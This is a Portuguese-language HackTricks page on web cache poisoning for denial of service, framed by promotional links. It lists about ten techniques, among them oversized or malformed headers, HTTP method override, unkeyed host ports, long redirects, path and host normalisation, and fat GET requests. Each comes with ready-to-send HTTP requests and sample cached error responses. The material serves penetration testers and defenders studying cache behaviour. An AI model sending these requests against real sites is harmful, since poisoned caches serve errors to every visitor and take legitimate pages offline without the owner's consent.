6.6 KiB
Envenenamento de Cache para DoS
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
{% hint style="danger" %} Nesta página, você pode encontrar diferentes variações para tentar fazer o servidor web responder com erros a solicitações que são válidas para os servidores de cache {% endhint %}
- Tamanho Excessivo de Cabeçalho HTTP (HHO)
Envie uma solicitação com um tamanho de cabeçalho maior do que o suportado pelo servidor web, mas menor do que o suportado pelo servidor de cache. O servidor web responderá com um código de resposta 400 que pode ser armazenado em cache:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- Caractere Meta HTTP (HMC) e valores inesperados
Envie um cabeçalho que contenha alguns caracteres meta prejudiciais como \n
e \r
. Para que o ataque funcione, você deve primeiro burlar o cache.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Um cabeçalho mal configurado poderia ser apenas \:
como um cabeçalho.
Isso também poderia funcionar se valores inesperados forem enviados, como um Content-Type inesperado:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Cabeçalho sem chave
Alguns sites retornarão um código de status de erro se virem alguns cabeçalhos específicos na solicitação, como o cabeçalho X-Amz-Website-Location-Redirect: someThing:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- Ataque de Substituição de Método HTTP (HMO)
Se o servidor suporta a alteração do método HTTP com cabeçalhos como X-HTTP-Method-Override
, X-HTTP-Method
ou X-Method-Override
. É possível solicitar uma página válida alterando o método para um que o servidor não suporta, fazendo com que uma resposta ruim seja armazenada em cache:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Porta não chaveada
Se a porta no cabeçalho do Host for refletida na resposta e não estiver incluída na chave de cache, é possível redirecioná-la para uma porta não utilizada:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
Assim como no exemplo a seguir, x não está sendo armazenado em cache, então um atacante poderia abusar do comportamento de resposta de redirecionamento para fazer com que o redirecionamento envie uma URL tão grande que retorne um erro. Em seguida, as pessoas que tentarem acessar a URL sem a chave x não armazenada em cache receberão a resposta de erro:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Normalização de maiúsculas e minúsculas no cabeçalho do host
O cabeçalho do host deve ser insensível a maiúsculas e minúsculas, mas alguns sites esperam que ele esteja em minúsculas, retornando um erro se não estiver:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Normalização de caminho
Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache fará o URLdecode do caminho e armazenará a resposta para o caminho URLdecoded:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Alguns servidores de cache, como o Cloudflare, ou servidores web, param solicitações GET com um corpo, então isso poderia ser abusado para armazenar em cache uma resposta inválida:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Referências
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.